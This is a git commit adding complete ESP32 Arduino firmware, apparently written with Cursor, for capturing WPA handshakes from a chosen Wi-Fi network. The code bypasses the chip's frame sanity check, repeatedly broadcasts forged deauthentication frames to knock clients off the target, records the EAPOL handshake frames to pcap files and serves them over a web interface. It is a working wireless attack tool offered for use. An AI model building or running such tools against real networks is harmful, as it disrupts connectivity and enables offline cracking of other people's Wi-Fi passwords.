Initial commit: handshake capture firmware for ESP32-C6 1.47" LCD
Made-with: Cursor
This commit is contained in:
454
esp32-handshake-capture/esp32-handshake-capture.ino
Normal file
454
esp32-handshake-capture/esp32-handshake-capture.ino
Normal file
@@ -0,0 +1,454 @@
|
||||
#include <Arduino.h>
|
||||
#include <WiFi.h>
|
||||
#include "esp_wifi.h"
|
||||
#include <SPIFFS.h>
|
||||
#include <WebServer.h>
|
||||
|
||||
// Bypass ESP32 frame sanity check
|
||||
extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// PCAP structures
|
||||
typedef struct {
|
||||
uint32_t magic_number;
|
||||
uint16_t version_major;
|
||||
uint16_t version_minor;
|
||||
int32_t thiszone;
|
||||
uint32_t sigfigs;
|
||||
uint32_t snaplen;
|
||||
uint32_t network;
|
||||
} __attribute__((packed)) pcap_global_header_t;
|
||||
|
||||
typedef struct {
|
||||
uint32_t ts_sec;
|
||||
uint32_t ts_usec;
|
||||
uint32_t incl_len;
|
||||
uint32_t orig_len;
|
||||
} __attribute__((packed)) pcap_record_header_t;
|
||||
|
||||
// Network structure
|
||||
typedef struct {
|
||||
String ssid;
|
||||
uint8_t bssid[6];
|
||||
int ch;
|
||||
int rssi;
|
||||
String encryption;
|
||||
} Network;
|
||||
|
||||
// Global variables
|
||||
Network networks[20];
|
||||
Network target;
|
||||
uint8_t* pcap_buffer = nullptr;
|
||||
size_t pcap_size = 0;
|
||||
bool handshake_captured = false;
|
||||
bool beacon_captured = false;
|
||||
uint8_t eapol_count = 0;
|
||||
bool with_deauth = false;
|
||||
bool is_capturing = false;
|
||||
|
||||
WebServer server(80);
|
||||
const char* ap_ssid = "HandshakeCapture";
|
||||
const char* ap_password = "capture123";
|
||||
|
||||
void scanNetworks();
|
||||
void listNetworks();
|
||||
void selectTarget();
|
||||
void startCapture(bool deauth);
|
||||
void stopCapture();
|
||||
void saveHandshake();
|
||||
void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type);
|
||||
void pcapInit();
|
||||
void pcapAppend(const uint8_t* frame, size_t len);
|
||||
void sendDeauth();
|
||||
void startWebServer();
|
||||
void handleRoot();
|
||||
void handleDownload();
|
||||
void handleListFiles();
|
||||
void printHelp();
|
||||
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
|
||||
// Initialize SPIFFS
|
||||
if (!SPIFFS.begin(true)) {
|
||||
Serial.println("Failed to mount SPIFFS");
|
||||
while(1) delay(1000);
|
||||
}
|
||||
|
||||
// Start WiFi in AP mode
|
||||
WiFi.softAP(ap_ssid, ap_password);
|
||||
Serial.print("AP IP address: ");
|
||||
Serial.println(WiFi.softAPIP());
|
||||
|
||||
// Set WiFi mode and enable promiscuous mode
|
||||
WiFi.mode(WIFI_AP_STA);
|
||||
esp_wifi_set_promiscuous(true);
|
||||
esp_wifi_set_promiscuous_rx_cb(promiscuousRxCallback);
|
||||
|
||||
// Start web server
|
||||
startWebServer();
|
||||
|
||||
Serial.println("\nWiFi Handshake Capture Tool");
|
||||
Serial.println("--------------------------");
|
||||
printHelp();
|
||||
}
|
||||
|
||||
void loop() {
|
||||
server.handleClient();
|
||||
|
||||
if (Serial.available()) {
|
||||
String input = Serial.readStringUntil('\n');
|
||||
input.trim();
|
||||
|
||||
if (input == "1") {
|
||||
scanNetworks();
|
||||
}
|
||||
else if (input == "2") {
|
||||
listNetworks();
|
||||
}
|
||||
else if (input == "3") {
|
||||
selectTarget();
|
||||
}
|
||||
else if (input == "4") {
|
||||
startCapture(true);
|
||||
}
|
||||
else if (input == "5") {
|
||||
startCapture(false);
|
||||
}
|
||||
else if (input == "6") {
|
||||
stopCapture();
|
||||
}
|
||||
else if (input == "7") {
|
||||
handleListFiles();
|
||||
}
|
||||
else if (input == "8") {
|
||||
printHelp();
|
||||
}
|
||||
else if (input == "9") {
|
||||
Serial.println("Restarting...");
|
||||
ESP.restart();
|
||||
}
|
||||
else {
|
||||
Serial.println("Invalid command. Type '8' for help.");
|
||||
}
|
||||
}
|
||||
|
||||
// Send deauth periodically if enabled and capturing
|
||||
static unsigned long last_deauth = 0;
|
||||
if (is_capturing && with_deauth && millis() - last_deauth > 500) {
|
||||
sendDeauth();
|
||||
last_deauth = millis();
|
||||
}
|
||||
}
|
||||
|
||||
void printHelp() {
|
||||
Serial.println("\nCommands:");
|
||||
Serial.println("1 - Scan networks");
|
||||
Serial.println("2 - List scanned networks");
|
||||
Serial.println("3 - Select target by ID");
|
||||
Serial.println("4 - Start capture with deauth");
|
||||
Serial.println("5 - Start capture without deauth");
|
||||
Serial.println("6 - Stop capture");
|
||||
Serial.println("7 - List captured files");
|
||||
Serial.println("8 - Show this help");
|
||||
Serial.println("9 - Restart device");
|
||||
Serial.println("\nWeb Interface:");
|
||||
Serial.print("http://");
|
||||
Serial.print(WiFi.softAPIP());
|
||||
Serial.println("/list");
|
||||
}
|
||||
|
||||
void scanNetworks() {
|
||||
Serial.println("\nScanning networks...");
|
||||
WiFi.scanDelete();
|
||||
|
||||
// Perform the scan using the same method as network_scan.cpp
|
||||
int n = WiFi.scanNetworks(false, true); // Async scan, hidden networks
|
||||
|
||||
if (n == 0) {
|
||||
Serial.println("No networks found");
|
||||
return;
|
||||
}
|
||||
|
||||
// Clear previous scan results
|
||||
memset(networks, 0, sizeof(networks));
|
||||
|
||||
for (int i = 0; i < min(n, 20); i++) {
|
||||
String ssid = WiFi.SSID(i);
|
||||
|
||||
// Handle hidden networks
|
||||
if (ssid.isEmpty()) {
|
||||
networks[i].ssid = "<HIDDEN>";
|
||||
} else {
|
||||
networks[i].ssid = ssid;
|
||||
}
|
||||
|
||||
memcpy(networks[i].bssid, WiFi.BSSID(i), 6);
|
||||
networks[i].ch = WiFi.channel(i);
|
||||
networks[i].rssi = WiFi.RSSI(i);
|
||||
|
||||
// Add encryption type information
|
||||
wifi_auth_mode_t encryption = WiFi.encryptionType(i);
|
||||
if (encryption == WIFI_AUTH_OPEN) networks[i].encryption = "Open";
|
||||
else if (encryption == WIFI_AUTH_WEP) networks[i].encryption = "WEP";
|
||||
else if (encryption == WIFI_AUTH_WPA_PSK) networks[i].encryption = "WPA";
|
||||
else if (encryption == WIFI_AUTH_WPA2_PSK) networks[i].encryption = "WPA2";
|
||||
else if (encryption == WIFI_AUTH_WPA_WPA2_PSK) networks[i].encryption = "WPA/WPA2";
|
||||
else if (encryption == WIFI_AUTH_WPA2_ENTERPRISE) networks[i].encryption = "WPA2 Enterprise";
|
||||
else networks[i].encryption = "Unknown";
|
||||
}
|
||||
|
||||
Serial.printf("Found %d networks\n", n);
|
||||
}
|
||||
|
||||
void listNetworks() {
|
||||
Serial.println("\nScanned Networks:");
|
||||
Serial.println("ID | SSID | BSSID | CH | RSSI | Encryption");
|
||||
Serial.println("---------------------------------------------------------------");
|
||||
|
||||
for (int i = 0; i < 20; i++) {
|
||||
if (networks[i].ssid == "") continue;
|
||||
|
||||
char bssidStr[18];
|
||||
snprintf(bssidStr, sizeof(bssidStr), "%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
networks[i].bssid[0], networks[i].bssid[1], networks[i].bssid[2],
|
||||
networks[i].bssid[3], networks[i].bssid[4], networks[i].bssid[5]);
|
||||
|
||||
Serial.printf("%2d | %-16s | %s | %2d | %5d | %s\n",
|
||||
i, networks[i].ssid.c_str(), bssidStr,
|
||||
networks[i].ch, networks[i].rssi, networks[i].encryption.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
void selectTarget() {
|
||||
listNetworks();
|
||||
Serial.print("\nEnter network ID to target: ");
|
||||
|
||||
while (!Serial.available()) delay(100);
|
||||
int id = Serial.parseInt();
|
||||
|
||||
if (id >= 0 && id < 20 && networks[id].ssid != "") {
|
||||
target = networks[id];
|
||||
Serial.printf("\nSelected target: %s (%02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
|
||||
target.ssid.c_str(), target.bssid[0], target.bssid[1],
|
||||
target.bssid[2], target.bssid[3], target.bssid[4],
|
||||
target.bssid[5], target.ch);
|
||||
} else {
|
||||
Serial.println("Invalid selection");
|
||||
}
|
||||
}
|
||||
|
||||
void startCapture(bool deauth) {
|
||||
if (target.ssid == "") {
|
||||
Serial.println("No target selected");
|
||||
return;
|
||||
}
|
||||
|
||||
if (is_capturing) {
|
||||
Serial.println("Already capturing. Stop first.");
|
||||
return;
|
||||
}
|
||||
|
||||
Serial.printf("\nStarting handshake capture for %s...\n", target.ssid.c_str());
|
||||
Serial.println(deauth ? "With deauthentication" : "Without deauthentication");
|
||||
|
||||
pcapInit();
|
||||
handshake_captured = false;
|
||||
beacon_captured = false;
|
||||
eapol_count = 0;
|
||||
with_deauth = deauth;
|
||||
is_capturing = true;
|
||||
|
||||
// Set to target channel
|
||||
esp_wifi_set_channel(target.ch, WIFI_SECOND_CHAN_NONE);
|
||||
}
|
||||
|
||||
void stopCapture() {
|
||||
if (!is_capturing) {
|
||||
Serial.println("Not currently capturing");
|
||||
return;
|
||||
}
|
||||
|
||||
if (pcap_size > 0) {
|
||||
saveHandshake();
|
||||
} else {
|
||||
Serial.println("No handshake captured");
|
||||
}
|
||||
|
||||
is_capturing = false;
|
||||
}
|
||||
|
||||
void saveHandshake() {
|
||||
// Create filename with timestamp
|
||||
String timestamp = String(millis() / 1000);
|
||||
String filename = "/handshake_" + target.ssid + "_" + timestamp + ".pcap";
|
||||
filename.replace(" ", "_"); // Remove spaces from filename
|
||||
|
||||
File file = SPIFFS.open(filename, FILE_WRITE);
|
||||
if (!file) {
|
||||
Serial.println("Failed to create file");
|
||||
return;
|
||||
}
|
||||
|
||||
if (file.write(pcap_buffer, pcap_size) == pcap_size) {
|
||||
Serial.printf("Handshake saved to %s (%d bytes)\n", filename.c_str(), pcap_size);
|
||||
} else {
|
||||
Serial.println("Error writing file");
|
||||
}
|
||||
|
||||
file.close();
|
||||
|
||||
// Clean up
|
||||
free(pcap_buffer);
|
||||
pcap_buffer = nullptr;
|
||||
pcap_size = 0;
|
||||
}
|
||||
|
||||
void promiscuousRxCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
|
||||
if (!is_capturing) return;
|
||||
|
||||
wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf;
|
||||
uint8_t* payload = pkt->payload;
|
||||
uint16_t len = pkt->rx_ctrl.sig_len;
|
||||
|
||||
if (len < 36) return;
|
||||
|
||||
uint8_t frame_type = payload[0];
|
||||
bool is_beacon = frame_type == 0x80;
|
||||
|
||||
// Capture beacon frame
|
||||
if (is_beacon && !beacon_captured && memcmp(&payload[10], target.bssid, 6) == 0) {
|
||||
Serial.println("Captured beacon frame");
|
||||
beacon_captured = true;
|
||||
pcapAppend(payload, len);
|
||||
return;
|
||||
}
|
||||
|
||||
// Capture EAPOL frames (handshake)
|
||||
if ((frame_type == 0x08 || frame_type == 0x88) &&
|
||||
(memcmp(&payload[10], target.bssid, 6) == 0 || memcmp(&payload[4], target.bssid, 6) == 0)) {
|
||||
|
||||
uint16_t ethertype = (payload[32] << 8) | payload[33];
|
||||
if (ethertype == 0x888E) { // EAPOL
|
||||
eapol_count++;
|
||||
Serial.printf("Captured EAPOL frame %d/4\n", eapol_count);
|
||||
pcapAppend(payload, len);
|
||||
|
||||
if (eapol_count >= 4) {
|
||||
handshake_captured = true;
|
||||
Serial.println("Complete handshake captured!");
|
||||
stopCapture();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void pcapInit() {
|
||||
free(pcap_buffer);
|
||||
pcap_size = sizeof(pcap_global_header_t);
|
||||
pcap_buffer = (uint8_t*)malloc(pcap_size);
|
||||
|
||||
pcap_global_header_t header = {
|
||||
.magic_number = 0xa1b2c3d4,
|
||||
.version_major = 2,
|
||||
.version_minor = 4,
|
||||
.thiszone = 0,
|
||||
.sigfigs = 0,
|
||||
.snaplen = 65535,
|
||||
.network = 105 // LINKTYPE_IEEE802_11
|
||||
};
|
||||
memcpy(pcap_buffer, &header, sizeof(header));
|
||||
}
|
||||
|
||||
void pcapAppend(const uint8_t* frame, size_t len) {
|
||||
if (!frame || len == 0) return;
|
||||
|
||||
pcap_record_header_t rec = {
|
||||
.ts_sec = millis() / 1000,
|
||||
.ts_usec = (millis() % 1000) * 1000,
|
||||
.incl_len = len,
|
||||
.orig_len = len
|
||||
};
|
||||
|
||||
uint8_t* new_buf = (uint8_t*)realloc(pcap_buffer, pcap_size + sizeof(rec) + len);
|
||||
if (!new_buf) return;
|
||||
|
||||
memcpy(new_buf + pcap_size, &rec, sizeof(rec));
|
||||
memcpy(new_buf + pcap_size + sizeof(rec), frame, len);
|
||||
|
||||
pcap_buffer = new_buf;
|
||||
pcap_size += sizeof(rec) + len;
|
||||
}
|
||||
|
||||
void sendDeauth() {
|
||||
uint8_t deauth_packet[26] = {
|
||||
0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x01, 0x00
|
||||
};
|
||||
|
||||
// Set BSSID in packet
|
||||
memcpy(&deauth_packet[10], target.bssid, 6);
|
||||
memcpy(&deauth_packet[16], target.bssid, 6);
|
||||
|
||||
// Send packet
|
||||
esp_wifi_80211_tx(WIFI_IF_STA, deauth_packet, sizeof(deauth_packet), false);
|
||||
Serial.println("Sent deauth packet");
|
||||
}
|
||||
|
||||
void startWebServer() {
|
||||
server.on("/", handleRoot);
|
||||
server.on("/download", handleDownload);
|
||||
server.on("/list", handleListFiles);
|
||||
server.begin();
|
||||
}
|
||||
|
||||
void handleRoot() {
|
||||
server.send(200, "text/html",
|
||||
"<h1>WiFi Handshake Capture Tool</h1>"
|
||||
"<p><a href='/list'>View captured handshakes</a></p>"
|
||||
"<p>Serial commands:</p>"
|
||||
"<pre>1 - Scan networks\n2 - List networks\n3 - Select target\n4 - Capture with deauth\n5 - Capture without deauth\n6 - Stop capture\n7 - List files\n8 - Help\n9 - Restart</pre>");
|
||||
}
|
||||
|
||||
void handleListFiles() {
|
||||
String html = "<h1>Captured Handshakes</h1><ul>";
|
||||
|
||||
File root = SPIFFS.open("/");
|
||||
File file = root.openNextFile();
|
||||
|
||||
while(file) {
|
||||
if(String(file.name()).endsWith(".pcap")) {
|
||||
html += "<li><a href='/download?file=" + String(file.name()) + "'>" + String(file.name()) + "</a> (" + String(file.size()) + " bytes)</li>";
|
||||
}
|
||||
file = root.openNextFile();
|
||||
}
|
||||
|
||||
html += "</ul>";
|
||||
server.send(200, "text/html", html);
|
||||
}
|
||||
|
||||
void handleDownload() {
|
||||
if(!server.hasArg("file")) {
|
||||
server.send(400, "text/plain", "Missing file parameter");
|
||||
return;
|
||||
}
|
||||
|
||||
String filename = server.arg("file");
|
||||
if(!SPIFFS.exists(filename)) {
|
||||
server.send(404, "text/plain", "File not found");
|
||||
return;
|
||||
}
|
||||
|
||||
File file = SPIFFS.open(filename, "r");
|
||||
if(!file) {
|
||||
server.send(500, "text/plain", "Failed to open file");
|
||||
return;
|
||||
}
|
||||
|
||||
server.sendHeader("Content-Type", "application/octet-stream");
|
||||
server.sendHeader("Content-Disposition", "attachment; filename=" + filename.substring(filename.lastIndexOf('/')+1));
|
||||
server.streamFile(file, "application/octet-stream");
|
||||
file.close();
|
||||
}
|
||||
Reference in New Issue
Block a user